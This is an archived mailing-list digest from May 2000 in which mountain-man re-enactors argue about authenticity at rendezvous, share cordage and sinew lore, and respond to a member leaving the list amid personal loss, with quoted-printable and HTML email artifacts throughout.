> To: [e-mail]
> Subject: Re: MtMan-List: Re: Authenticity Nazis
>=20
>=20
> Todd,
>   That last paragraph was not aimed at you personally.  Just blowing =
off
> more steam.
> Pendleton
> -----Original Message-----
> From: larry pendleton <[e-mail]>
> To: [e-mail] <[e-mail]>
> Date: Wednesday, May 10, 2000 6:47 PM
> Subject: Re: MtMan-List: Re: Authenticity Nazis
>=20
>=20
> Todd,
>   I really hadn't intended to make anymore comments on this=20
> subject, but one
> point you made is at the center of what riles me the most.  That=20
> is the fact
> that most rendezvous are touted as being a " Pre 1840 Primitive =
Rendezvous
> ", and after you drive untold hours, you get there and the doins=20
> is complete
> with hot dog stands powered by propane stoves, there are folks walking
> around everywhere wearing blue jeans and sneakers (even though =
primitive
> dress is required ), and some, but not all the traders are peddling =
flea
> market junk and foreign made trinkets that don't have anything to do =
with
> the Fur Trade.  The point you made about, if a event is pre-1840=20
> then stick
> with it, is right on.
>   I really didn't intend to stir up a firestorm with my comments.=20
>  Honest I
> didn't.  I just don't understand why everytime someone makes a=20
> comment about
> things not being as they should at a lot of rendezvous they get =
ripped.  I
> know everyone's perspective on what is authentic and appropriate is
> different, and I respect that.  I know that everyone doesn't feel the =
need
> to be as hard core as others, but at the first comment about the lack =
of
> authenticity at rendezvous, we get labeled as Nazis, Wannabees, =
Fashion
> Police, and ridiculed as being able to talk the talk but not able to =
walk
> the walk even though most of you wouldn't know Dennis or me if we=20
> bit you on
> the butt.
>   With that I'll shut up, for now anyway.
> Pendleton
> -----Original Message-----
> From: Todd <[e-mail]>
> To: [e-mail] <[e-mail]>
> Date: Wednesday, May 10, 2000 5:06 PM
> Subject: RE: MtMan-List: Re: Authenticity Nazis
>=20
>=20
> Yes and no.  Keep in mind that we see the historical records of the =
adult
> survivors.   Childhood injuries and disease were quite another=20
> story.  Child
> mortality was extremely high in centuries past, and still is in some =
parts
> of the world.
>=20
> That said, I've seen this argument before, only it was at an SCA=20
> event, and
> the more-authentic-than-thou crowd were annoying.   They'd have=20
> been less so
> had they been adhering to the level of authenticy they were =
browbeating
> others about, but that's another issue.  They DO have a=20
> legitimate point to
> make.   If you goal is to accurately depict a previous time, then=20
> do as much
> as you can.   Don't fudge it if you can avoid it.
> At the same time, those who can approach that level, understand=20
> that some of
> us ain't there yet.  I'm not.  I'm trying, but I'm not there.
>   If completely accurate re-enactment is not your goal, fine and =
dandy.
> As I understand the AMM, they (I'm not a brother, I hope to be =
somewhere
> down the road, but I have a LOT to learn, and much to do) are =
dedicated to
> studying and preserving the lifestyles of those who came before.   =
Mayhaps
> our revered ancestors would have made do with nylon were it available.
> Don't know.   I DO know it was NOT there.   So, if what you want is to
> attend the anything goes vous, enjoy!  Have a grand time!  I can see =
how
> some would enjoy that, I've been to one, and I have to admit I had a =
good
> time.   I stuck with my blankets and hides instead of an air mattress
> though, and my flint and steel instead of matches.  Nobody gave me any
> grief, so I won't give anyone any.
>=20
> So, to those who want solid authenticity, help others like me to =
learn.
> Teach us what to work on without ripping on us for HONEST mistakes.
>   Those who don't want that level of authenticity, understand where =
the
> others are coming from.   If an event is billed as pre-1840,=20
> stick with it.
> If you DON'T want to do that, I'd suggest not going.    There's plenty =
of
> shoots that don't stick to the pre-1840 rule.
>=20
> Sorry to preach, specially being a greenhorn, and a flatlander (I live =
in
> Missouri, it don't get much flatter I reckon, 'cept maybe Kansas=20
> =3D), but as
> I said, I saw this kinda feud when I did medieval re-enactment.  =20
> It ruined
> the events for everyone, and soured me toward something I had enjoyed.
>=20
>=20
> Todd
>=20
> > >Any broken bones?   They probably set wrong and you're a cripple.
> > This is bullshit!!!  No one is saying we are running around
> > with original
> > bodies and outfits.  Some of us are saying that the more=20
> authentic to the
> > original equipment you are, the more you can accurately recreate the
> > past--and the more you can learn.
> > I don't know when tooth filling started, I've seen it in
> > teeth from the
> > late Vicotorian era.  Major surgery has been done without killing =
the
> > patient since at least 1000 BC.  Most folks who had bones broken
> > managed to
> > get them set OK-too many healed fractures in the osteological =
record.
> > I've been shot, stabbed, beaten and broken too many times
> > to believe your
> > nonsense.  Like anyone with a lick of sense, I know that it=20
> ain't what the
> > docs put in you that pulls you through--its what you can find =
inside.
> > LongWalker c. du B.
> >
> >
> >
> > ----------------------
> > hist_text list info: =
http://www.xmission.com/~drudy/mtman/maillist.html
> >
>=20
>=20
> ----------------------
> hist_text list info: =
http://www.xmission.com/~drudy/mtman/maillist.html
>=20
>=20
> ----------------------
> hist_text list info: =
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>=20
>=20
> ----------------------
> hist_text list info: =
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>=20


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From: Bobbie <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 11 May 2000 00:29:03 -0600

Ole wrote:

>Bobbie,
>Don't let them get to you, Who pushed the "HOT BUTTON"anyway?

  Thanks, Ole, for acknowledging that what was said was hurtful.  It seems
to have escaped everyone else on this list.

   As I said previously, I have always just deleted these things.  This
time, that rude comment about "leaving" really got to me, and I thought,
and still think, that should be clarified.  I belive that an apology is
owed.  But, obviously, since it doesn't seem to matter one way or the other
to most of the folks here, I will leave of my own accord.  As I said, I
sure don't want to be where I'm not wanted.

   I said in my original response to that uncalled for and haughty demand,
there are many things in my life which others have no way of knowing.  To
judge me and others in such a dismissive way is just low.   There are times
when I think people should know the results of their actions and words, and
this is one of them.

   Tonight I'm mourning the fact that my hometown is going up in flames.
Two weeks ago, I saw my childhood home, and tonight I read the words that
it is all gone.  Gone.  Now the fire is spreading into one of the poorest
counties in the nation, including two Indian Pueblos.  Those people can't
afford to lose anymore.  They have so little.

   So, while you all enjoy your superiority, and your sociopathic joy of
"riling" people up, there are others suffering.  I prefer to spend my time
with people who have hearts and compassion.

    I and several others I've met at Rendezvous have physical handicaps
that prevents us from being as perfect as all of you.  I still desired to
learn what I could, and to do the best that I can.  No more.  I no longer
give a rip.  I have no more desire to know about history.  What I value is
people who can care about more than looking down their noses at people who
they perceive as beneath them.

    The last Rendezvous I attended, I left home with another one of the
controversies raging on this list.  Name calling, tantrums, etc.  At the
Rendezvous, there were people planning a benefit for children dying of
cancer.  Now, it just doesn't take a lot of sensitivity to have some sense
of what is really important.  History be damned.  Give me humans with some
soul anyday.  From now on, I will proudly be with those in chrome tan who
care about other human beings.

       So long,

             Bobbie






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From: [e-mail]
Subject: Re: MtMan-List:was saw now its cordage
Date: 11 May 2000 01:34:47 -0700

start with a figure 8 starting on the left hand fork going away from you
take the loose long end of the string and lay above the rh fork then lift
the original figure eight over the top and then rotate the fork then
continue on you are started---

HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

On Wed, 10 May 2000 10:34:28 EDT [e-mail] writes:
>
> They are carried by Smoke and Fire: http://www.smoke-fire.com.  Now
> that you
> guys have been talking about them, I got mine out, but can't
> remember how to
> make it work.
>
> Ghosting Wolf
>
________________________________________________________________
YOU'RE PAYING TOO MUCH FOR THE INTERNET!
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From: [e-mail]
Subject: Re: MtMan-List: Re: cordage
Date: 11 May 2000 01:54:07 -0700

walt---hope to make it to the shining mountains in october or novenmer
to hunt with my brother in law that lives in haver---we hunt the breaks
and bob marshal and also up around hungry horse area   will put up smoke
if i get in the area---


BTW do you know tom ballard in helena---

HAWK
Michael Pierce        "Home of ".Old Grizz" Product line "  trademark (C)
854 Glenfield Dr.
Palm Harbor florida 34684
E-Mail: [e-mail]   Web site:
http://www.angelfire.com/fl2/mpierce

________________________________________________________________
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From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 11 May 2000 07:13:51 -0400

Bill,
 The flying machine experiment dinnit work, eh?
D

"Abair ach beagan is abair gu math e"
          DOUBLE EDGE FORGE
  Period Knives & Iron Accoutrements
   http://www.bright.net/~deforge1
  "Knowing how is just the beginning"


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From: "Glenn Darilek" <[e-mail]>
Subject: MtMan-List: Barrels
Date: 11 May 2000 07:16:48 -0000

Rolling barrels is Right.  That was before fork lifts, so making the
shipping container also the vehicle was the ingenious way to go.

YMOS
Glenn Darilek
Iron Burner

[e-mail]  writes:

> So why did they go to the expense of crafting a barrel to hold something
like nails when a wooden box
> would be easier to make, and much cheaper.  So what is your answer?

Is it because heavy barrels could be rolled?         Barney


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From: Julia <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 11 May 2000 05:27:13 -0700

My heart goes to you,  Bobbie,

>   Thanks, Ole, for acknowledging that what was said was hurtful.  It seems
>to have escaped everyone else on this list.

I was not lost on me,  but I have never been made welcome on this
list,  so I offer very little.   I have been very tempted to withdraw
from this list over the list over this too.

>    Tonight I'm mourning the fact that my hometown is going up in flames.
>Two weeks ago, I saw my childhood home, and tonight I read the words that
>it is all gone.  Gone.  Now the fire is spreading into one of the poorest
>counties in the nation, including two Indian Pueblos.  Those people can't
>afford to lose anymore.  They have so little.

Tears fill my eyes,   I want to help!  What can I do?  Let me know!
All of this list stuff seem so unimportant when REAL  tragedy strikes.
If it is raising money or goods,  I will do it.
Give me details,  I want to do what will help!

Julia
in Oregon


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From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 11 May 2000 07:29:58 -0600

This is a multi-part message in MIME format.

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I'm not sure I was thinking at all, crawling around on the framing =
wearing shorts, a tee shirt, and river sandals. Waugh!
    -----Original Message-----
    From: Ratcliff <[e-mail]>
    To: [e-mail] <[e-mail]>
    Date: Wednesday, May 10, 2000 9:41 PM
    Subject: Re: MtMan-List: Artificial Sinew (was saws)
   =20
   =20
    Busted yer arse, didja Grandpa?  You are just like me....still think =
it's 1963.
    YMOS
    Lanney
        ----- Original Message -----=20
        From: Bill Cunningham=20
        To: [e-mail]=20
        Sent: Wednesday, May 10, 2000 10:34 PM
        Subject: Re: MtMan-List: Artificial Sinew (was saws)
       =20
       =20
        Thanks for the information. I think I will pass on the tool. =
Right now I'm sitting here in ice packs - fell off the barn and really =
screwed myself up. Nothing serious I think, just lost lots of skin and =
picked up some dandy bruises.
            -----Original Message-----
            From: John Kramer <[e-mail]>
            To: [e-mail] =
<[e-mail]>
            Date: Wednesday, May 10, 2000 5:46 PM
            Subject: Re: MtMan-List: Artificial Sinew (was saws)
           =20
           =20
            Bill,
           =20
            I've not done much but observe luzets.  The technique is the =
basis for various forms of tube weaving by having circular areas defined =
by two to many pegs on which the thread is worked around.  It could be =
called crocheting in the round.  Isn't this pretty closely related to =
some tatting techniques?
           =20
            Someone who has used luzets may have a differing experience, =
I've given it little attention because it appeared to me too much like a =
chain stitch (like the awl-for-awl tools make, or the closing stitch on =
dog food bags) where if any one thread breaks you lose the entire =
length.  I've always considered it decorative. =20
           =20
            John...
           =20
           =20
            At 07:19 AM 5/10/00 -0600, you wrote:
           =20
                Wow! Thanks for the information! I am printing this and =
keeping it. Actually, I do carry a small coil of what we called (as =
kids) and I think it still is, squidding line in my pouch. Strange this =
is, I've never really used it. Strong as hell, round woven stuff from =
the fishermen on the coast of Maine. But thanks, John. It sounds like =
you have really worked this stuff out. What do you think of Buck's new =
cordage tool?
                Bill
               =20
                    -----Original Message-----
                    From: John Kramer <[e-mail]>
                    To: [e-mail] =
<[e-mail]>
                    Date: Wednesday, May 10, 2000 2:30 AM
                    Subject: Re: MtMan-List: Artificial Sinew (was saws)
                   =20
                    Bill,
                   =20
                    I see this differently.
                   =20
                    Why would you ever need a strand of sinew much over =
12" long?  Nice if you can get it but 6" works.
                   =20
                    Certainly not for sewing, splicing a bowstring is =
readily done; & sinew is self gluing when used for serving strings, =
points and fletchings.
                   =20
                    Electrician's shooting line (aka, artificial sinew) =
is handy in long lengths -- BUT -- how often do you really need to use =
it in long lengths?  If you don't heat weld the knots, they come undone.
                   =20
                    For threads, snares, lines and every other kind of =
such -- many other materials are useful as cordage, horse hair, bark, =
intestines, vines, weeds, hides; all kinds of stuff makes cordage.  In =
todays mountains no one is ever very far from a handy hunk of baling =
wire &/or twine which can serve many needs, I figure it's fair to use =
what you find, so much we find is different.  Field expedient drop =
spindles can be readily fashioned and would be a skill a mother would =
have taught -- those born to the period.
                   =20
                    Rawhide and sinew can be made to seize tighter and =
bind more securely than any nylon fastening. =20
                   =20
                    How does a coil of nylon improve survivability over =
a small wad of easily replaced sinew pieces?  Sinew comes free with =
meat, guts, hide, bone and fat; other handy survival items.
                   =20
                    At best artificial sinew is a convenience.  It is =
not demonstrably superior to real sinew for the purposes for which it is =
used.  It offers no particular survival advantage other than =
convenience.  =20
                   =20
                    I've used it but, could never find a real =
justification for it.  I haven't been able to find my spool of it (1 =
spool lasts a lifetime) in better than 15 years now.  Must have figured =
I wouldn't be needing it when I put it away last.
                   =20
                    I use linen for convenience.  I have a spool of =
unwaxed 4 strand twist.  For fine sewing I split lengths to two threads =
and re-spin the thread on the turned drop spindle I use at home.  If I =
need a heavy thread I untwist and spin together as many strands as is =
appropriate in lengths suitable to the work.  You can buy the thread in =
varying numbers of strands, in left or right hand twist, on each spool.  =
I find it easiest to have one spool of unwaxed (for ease in reworking).  =
Wax it as you work. =20
                   =20
                    If I need 5, 6, or ? strand -- I make it.  Sewing is =
slower if the thread is too long.  36" of thread is only needed when =
doing a full saddle stitch.  For all other sewing threads are best cut =
and used in shorter lengths.  Use a second thread if needed, the work =
will progress with greater ease when the thread isn't getting constantly =
tangled.
                   =20
                    I have a prepared ball of heavily waxed thread (1 =
1/4" +/- dia., in my possibles, the little I've needed on the trail has =
made the one ball last for years.  I have a small wad of sinew as well =
for the things it can do linen and nylon cannot,. =20
                   =20
                    A convenient rock, or stick, or whatever (?) can =
serve to spin your thread.  A made drop spindle is nice to have at home. =
 A spinning wheel is a higher tech answer to do the same, useful if you =
really need to make a lot of thread.
                   =20
                    At some point it is instructive to acquire some flax =
(or any other spinable/twistable fiber) and try making thread and =
heavier cordage from the beginning.  Braiding is another cordage skill.  =
Spun materials can be re-spun and/or braided as best suits the work.
                   =20
                    Cordage is critical to survival.  From thread to =
rope the skills acquired are complimentary and equally necessary.   A =
set of skills nearly as important as fire.  Cordage can ease making fire =
if all you have is wood: a bow drill is easier to use than a hand drill.
                   =20
                    The convenience of artificial sinew is seductive.  =
Using it risks not learning all the lessons required for one to be =
certain.  It is about being absolutely certain.
                   =20
                    John...
                   =20
                    Note: the spools of thread I refer to are the large =
commercial ones about 4" long and 3" in diameter.
                   =20
                   =20
                   =20
                    At 08:50 AM 5/9/00 -0600, you wrote:
                   =20
                        I was watching that antiques roadshow program =
one time and a guy brought in an Indian arrow quiver. It really looked =
nice and he was sure he had a pot of money. But the antique guy showed =
him that it was factory tanned leather, sewed with artificial sinew, =
which he explained was a hi-tech modern product. You could see the guy =
just wither. But it brought to mind a couple of questions. In true =
survival situations, would you be able to obtain enough sinew to take =
care of whatever it might be that you'd need it for? Since sinew is =
typically 12" long or less, and splicing it is tricky at best, would you =
carry 15 feet or so in your possibles pouch, or rather, perhaps, a small =
coil of artificial sinew which is infinitely long? Historical =
authenticity is great and a fine goal, but what if your life (or in some =
cases, your budget) depended on it?
                        Bill C
                   =20
                   =20
                    Use it up, wear it out, make do, or do without.
                    John Kramer  <[e-mail]>=20

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<META content=3Dtext/html;charset=3Diso-8859-1 =
http-equiv=3DContent-Type><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 =
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</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT color=3D#000000 size=3D2>I'm not sure I was thinking at all, =
crawling=20
around on the framing wearing shorts, a tee shirt, and river sandals.=20
Waugh!</FONT></DIV>
<BLOCKQUOTE=20
style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; PADDING-LEFT: =
5px">
    <DIV><FONT face=3DArial size=3D2><B>-----Original =
Message-----</B><BR><B>From:=20
    </B>Ratcliff <<A=20
    href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B>To: =
</B><A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
    <<A=20
    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
    </B>Wednesday, May 10, 2000 9:41 PM<BR><B>Subject: </B>Re: =
MtMan-List:=20
    Artificial Sinew (was saws)<BR><BR></DIV></FONT>
    <DIV><FONT size=3D3>Busted yer arse, didja Grandpa?  You are =
just like=20
    me....still think it's 1963.</FONT></DIV>
    <DIV>YMOS</DIV>
    <DIV>Lanney</DIV>
    <BLOCKQUOTE=20
    style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; =
MARGIN-RIGHT: 0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px">
        <DIV style=3D"FONT: 10pt arial">----- Original Message ----- =
</DIV>
        <DIV=20
        style=3D"BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: =
black"><B>From:</B>=20
        <A href=3D"mailto:[e-mail]" =
title=[e-mail]>Bill=20
        Cunningham</A> </DIV>
        <DIV style=3D"FONT: 10pt arial"><B>To:</B> <A=20
        href=3D"mailto:[e-mail]"=20
        =
title=[e-mail]>[e-mail]</A>=20
        </DIV>
        <DIV style=3D"FONT: 10pt arial"><B>Sent:</B> Wednesday, May 10, =
2000 10:34=20
        PM</DIV>
        <DIV style=3D"FONT: 10pt arial"><B>Subject:</B> Re: MtMan-List: =
Artificial=20
        Sinew (was saws)</DIV>
        <DIV><BR></DIV>
        <DIV><FONT color=3D#000000 size=3D2>Thanks for the information. =
I think I=20
        will pass on the tool. Right now I'm sitting here in ice packs - =
fell=20
        off the barn and really screwed myself up. Nothing serious I =
think, just=20
        lost lots of skin and picked up some dandy bruises.</FONT></DIV>
        <BLOCKQUOTE=20
        style=3D"BORDER-LEFT: #000000 solid 2px; MARGIN-LEFT: 5px; =
PADDING-LEFT: 5px">
            <DIV><FONT face=3DArial size=3D2><B>-----Original=20
            Message-----</B><BR><B>From: </B>John Kramer <<A=20
            =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B>T=
o:=20
            </B><A=20
            =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
            <<A=20
            =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
            </B>Wednesday, May 10, 2000 5:46 PM<BR><B>Subject: </B>Re:=20
            MtMan-List: Artificial Sinew (was =
saws)<BR><BR></DIV></FONT><FONT=20
            size=3D3>Bill,<BR><BR>I've not done much but observe =
luzets.  The=20
            technique is the basis for various forms of tube weaving by =
having=20
            circular areas defined by two to many pegs on which the =
thread is=20
            worked around.  It could be called crocheting in the=20
            round.  Isn't this pretty closely related to some =
tatting=20
            techniques?<BR><BR>Someone who has used luzets may have a =
differing=20
            experience, I've given it little attention because it =
appeared to me=20
            too much like a chain stitch (like the awl-for-awl tools =
make, or=20
            the closing stitch on dog food bags) where if any one thread =
breaks=20
            you lose the entire length.  I've always considered it=20
            decorative.  <BR><BR>John...<BR><BR><BR>At 07:19 AM =
5/10/00=20
            -0600, you wrote:<BR></FONT>
            <BLOCKQUOTE cite type =3D cite><FONT size=3D2>Wow! Thanks =
for the=20
                information! I am printing this and keeping it. =
Actually, I do=20
                carry a small coil of what we called (as kids) and I =
think it=20
                still is, squidding line in my pouch. Strange this is, =
I've=20
                never really used it. Strong as hell, round woven stuff =
from the=20
                fishermen on the coast of Maine. But thanks, John. It =
sounds=20
                like you have really worked this stuff out. What do you =
think of=20
                Buck's new cordage tool?</FONT><FONT =
size=3D3><BR></FONT><FONT=20
                size=3D2>Bill</FONT><FONT size=3D3><BR></FONT>
                <BLOCKQUOTE cite type =3D cite><FONT face=3Darial=20
                    size=3D2><B>-----Original =
Message-----</B><BR><B>From:=20
                    </B>John Kramer <<A=20
                    =
href=3D"mailto:[e-mail]">[e-mail]</A>><BR><B>T=
o:=20
                    </B><A=20
                    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>=20
                    <<A=20
                    =
href=3D"mailto:[e-mail]">[e-mail]=
</A>><BR><B>Date:=20
                    </B>Wednesday, May 10, 2000 2:30 AM<BR><B>Subject: =
</B>Re:=20
                    MtMan-List: Artificial Sinew (was =
saws)<BR><BR></FONT><FONT=20
                    size=3D3>Bill,<BR><BR>I see this =
differently.<BR><BR>Why would=20
                    you ever need a strand of sinew much over 12"=20
                    long?  Nice if you can get it but 6"=20
                    works.<BR><BR>Certainly not for sewing, splicing a =
bowstring=20
                    is readily done; & sinew is self gluing when =
used for=20
                    serving strings, points and =
fletchings.<BR><BR>Electrician's=20
                    shooting line (aka, artificial sinew) is handy in =
long=20
                    lengths -- BUT -- how often do you really need to =
use it in=20
                    long lengths?  If you don't heat weld the =
knots, they=20
                    come undone.<BR><BR>For threads, snares, lines and =
every=20
                    other kind of such -- many other materials are =
useful as=20
                    cordage, horse hair, bark, intestines, vines, weeds, =
hides;=20
                    all kinds of stuff makes cordage.  In todays =
mountains=20
                    no one is ever very far from a handy hunk of baling =
wire=20
                    &/or twine which can serve many needs, I figure =
it's=20
                    fair to use what you find, so much we find is=20
                    different.  Field expedient drop spindles can =
be=20
                    readily fashioned and would be a skill a mother =
would have=20
                    taught -- those born to the period.<BR><BR>Rawhide =
and sinew=20
                    can be made to seize tighter and bind more securely =
than any=20
                    nylon fastening.  <BR><BR>How does a coil of =
nylon=20
                    improve survivability over a small wad of easily =
replaced=20
                    sinew pieces?  Sinew comes free with meat, =
guts, hide,=20
                    bone and fat; other handy survival items.<BR><BR>At =
best=20
                    artificial sinew is a convenience.  It is not=20
                    demonstrably superior to real sinew for the purposes =
for=20
                    which it is used.  It offers no particular =
survival=20
                    advantage other than convenience.   =
<BR><BR>I've=20
                    used it but, could never find a real justification =
for=20
                    it.  I haven't been able to find my spool of it =
(1=20
                    spool lasts a lifetime) in better than 15 years =
now. =20
                    Must have figured I wouldn't be needing it when I =
put it=20
                    away last.<BR><BR>I use linen for convenience.  =
I have=20
                    a spool of unwaxed 4 strand twist.  For fine =
sewing I=20
                    split lengths to two threads and re-spin the thread =
on the=20
                    turned drop spindle I use at home.  If I need a =
heavy=20
                    thread I untwist and spin together as many strands =
as is=20
                    appropriate in lengths suitable to the work.  =
You can=20
                    buy the thread in varying numbers of strands, in =
left or=20
                    right hand twist, on each spool.  I find it =
easiest to=20
                    have one spool of unwaxed (for ease in =
reworking).  Wax=20
                    it as you work.  <BR><BR>If I need 5, 6, or ? =
strand --=20
                    I make it.  Sewing is slower if the thread is =
too=20
                    long.  36" of thread is only needed when =
doing a=20
                    full saddle stitch.  For all other sewing =
threads are=20
                    best cut and used in shorter lengths.  Use a =
second=20
                    thread if needed, the work will progress with =
greater ease=20
                    when the thread isn't getting constantly =
tangled.<BR><BR>I=20
                    have a prepared ball of heavily waxed thread (1 =
1/4"=20
                    +/- dia., in my possibles, the little I've needed on =
the=20
                    trail has made the one ball last for years.  I =
have a=20
                    small wad of sinew as well for the things it can do =
linen=20
                    and nylon cannot,.  <BR><BR>A convenient rock, =
or=20
                    stick, or whatever (?) can serve to spin your =
thread. =20
                    A made drop spindle is nice to have at home.  A =

                    spinning wheel is a higher tech answer to do the =
same,=20
                    useful if you really need to make a lot of =
thread.<BR><BR>At=20
                    some point it is instructive to acquire some flax =
(or any=20
                    other spinable/twistable fiber) and try making =
thread and=20
                    heavier cordage from the beginning.  Braiding =
is=20
                    another cordage skill.  Spun materials can be =
re-spun=20
                    and/or braided as best suits the =
work.<BR><BR>Cordage is=20
                    critical to survival.  From thread to rope the =
skills=20
                    acquired are complimentary and equally=20
                    necessary.   A set of skills nearly as =
important=20
                    as fire.  Cordage can ease making fire if all =
you have=20
                    is wood: a bow drill is easier to use than a hand=20
                    drill.<BR><BR>The convenience of artificial sinew is =

                    seductive.  Using it risks not learning all the =
lessons=20
                    required for one to be certain.  It is about =
being=20
                    absolutely certain.<BR><BR>John...<BR><BR>Note: the =
spools=20
                    of thread I refer to are the large commercial ones =
about=20
                    4" long and 3" in =
diameter.<BR><BR><BR><BR>At=20
                    08:50 AM 5/9/00 -0600, you wrote:<BR></FONT>
                    <BLOCKQUOTE cite type =3D cite><FONT size=3D2>I was =
watching=20
                        that antiques roadshow program one time and a =
guy=20
                        brought in an Indian arrow quiver. It really =
looked nice=20
                        and he was sure he had a pot of money. But the =
antique=20
                        guy showed him that it was factory tanned =
leather, sewed=20
                        with artificial sinew, which he explained was a =
hi-tech=20
                        modern product. You could see the guy just =
wither. But=20
                        it brought to mind a couple of questions. In =
true=20
                        survival situations, would you be able to obtain =
enough=20
                        sinew to take care of whatever it might be that =
you'd=20
                        need it for? Since sinew is typically 12" =
long or=20
                        less, and splicing it is tricky at best, would =
you carry=20
                        15 feet or so in your possibles pouch, or =
rather,=20
                        perhaps, a small coil of artificial sinew which =
is=20
                        infinitely long? Historical authenticity is =
great and a=20
                        fine goal, but what if your life (or in some =
cases, your=20
                        budget) depended on it?</FONT><FONT=20
                        size=3D3><BR></FONT><FONT size=3D2>Bill=20
                    C</BLOCKQUOTE><B><BR></B></FONT><FONT =
size=3D3><BR>Use it up,=20
                    wear it out, make do, or do without.<BR>John =
Kramer =20
                    <[e-mail]>=20
        =
</FONT></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE></BLOCKQUOTE><=
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-------------------------------------------------------------------------------

From: [e-mail] (Bill Cunningham)
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 11 May 2000 07:33:36 -0600

It worked fine! Until I hit the concrete.
-----Original Message-----


>Bill,
> The flying machine experiment dinnit work, eh?
>D
>
>"Abair ach beagan is abair gu math e"
>          DOUBLE EDGE FORGE
>  Period Knives & Iron Accoutrements
>   http://www.bright.net/~deforge1
>  "Knowing how is just the beginning"
>
>
>----------------------
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-------------------------------------------------------------------------------

From: "D Miles" <[e-mail]>
Subject: Re: MtMan-List: Artificial Sinew (was saws)
Date: 11 May 2000 09:33:15 -0400

Bill
I would say it was lack of lift due to a slow takeoff speed. Next time start
nearer to the peak of the roof and run full tilt to the edge.. Might be the
ticket....
D



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-------------------------------------------------------------------------------

From: "Susan Gilbert" <[e-mail]>
Subject: Re: MtMan-List:was saw now its cordage
Date: 11 May 2000 08:35:35 -0500 (CDT)

On Thu, 11 May 2000 01:34:47 -0700, [e-mail] wrote:

>start with a figure 8 starting on the left hand fork going away from you
>take the loose long end of the string and lay above the rh fork then lift
>the original figure eight over the top and then rotate the fork then
>continue on you are started---

That is a perfect description of how to get a lucet cord started.  I have been
trying to scan in my handout for demos, but I'm having trouble today.  I'll
keep trying and make it available to whoever wants it.

Sue Gilbert
6 Beaver Camp
[e-mail]


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-------------------------------------------------------------------------------

From: "Ole B. Jensen" <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 11 May 2000 07:53:16 -0600

Bobbie,
I wasn't going to say anything, but I changed my mind. Dont Go! you have as
much right to be here as anybody.
Ole
----------
>From: Bobbie <[e-mail]>
>To: [e-mail]
>Subject: Re: MtMan-List: Re: Authenticity Nazis
>Date: Thu, May 11, 2000, 12:29 AM
>

>Ole wrote:
>
>>Bobbie,
>>Don't let them get to you, Who pushed the "HOT BUTTON"anyway?
>
>  Thanks, Ole, for acknowledging that what was said was hurtful.  It seems
>to have escaped everyone else on this list.
>
>   As I said previously, I have always just deleted these things.  This
>time, that rude comment about "leaving" really got to me, and I thought,
>and still think, that should be clarified.  I belive that an apology is
>owed.  But, obviously, since it doesn't seem to matter one way or the other
>to most of the folks here, I will leave of my own accord.  As I said, I
>sure don't want to be where I'm not wanted.
>
>   I said in my original response to that uncalled for and haughty demand,
>there are many things in my life which others have no way of knowing.  To
>judge me and others in such a dismissive way is just low.   There are times
>when I think people should know the results of their actions and words, and
>this is one of them.
>
>   Tonight I'm mourning the fact that my hometown is going up in flames.
>Two weeks ago, I saw my childhood home, and tonight I read the words that
>it is all gone.  Gone.  Now the fire is spreading into one of the poorest
>counties in the nation, including two Indian Pueblos.  Those people can't
>afford to lose anymore.  They have so little.
>
>   So, while you all enjoy your superiority, and your sociopathic joy of
>"riling" people up, there are others suffering.  I prefer to spend my time
>with people who have hearts and compassion.
>
>    I and several others I've met at Rendezvous have physical handicaps
>that prevents us from being as perfect as all of you.  I still desired to
>learn what I could, and to do the best that I can.  No more.  I no longer
>give a rip.  I have no more desire to know about history.  What I value is
>people who can care about more than looking down their noses at people who
>they perceive as beneath them.
>
>    The last Rendezvous I attended, I left home with another one of the
>controversies raging on this list.  Name calling, tantrums, etc.  At the
>Rendezvous, there were people planning a benefit for children dying of
>cancer.  Now, it just doesn't take a lot of sensitivity to have some sense
>of what is really important.  History be damned.  Give me humans with some
>soul anyday.  From now on, I will proudly be with those in chrome tan who
>care about other human beings.
>
>       So long,
>
>             Bobbie
>
>
>
>
>
>
>----------------------
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>

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From: "Paul W. Jones" <[e-mail]>
Subject: Re: MtMan-List: Re: Authenticity Nazis
Date: 11 May 2000 09:23:15 -0700

Dear List Members...

For what my opinion is worth, if we can not let this dog (topic) die, at
least give up the subject  line using the term "Nazis."  It is an extremely
offensive term, and one to which, I at least, take particular umbrage.

Additionally, while I do appreciate to a degree, the sensitivity of some of
our list members, as expressed by the material below between Julia and
Bobbie, I respectfully suggest that such comments are better directed off
list as between the interested parties and not to the list at large.

This list is for a dedicated purpose, and while humor and venom often seem
to creep (creep hell, it flows like lava) in to our conversations, I would
think it a better practice to keep the personal comments personal and off
the list.

Just my thoughts.  Regards,  Paul
----- Original Message -----
Sent: Thursday, May 11, 2000 5:27 AM


> My heart goes to you,  Bobbie,
>
> >   Thanks, Ole, for acknowledging that what was said was hurtful.  It
seems
> >to have escaped everyone else on this list.
>
> I was not lost on me,  but I have never been made welcome on this
> list,  so I offer very little.   I have been very tempted to withdraw
> from this list over the list over this too.
>
> >    Tonight I'm mourning the fact that my hometown is going up in flames.
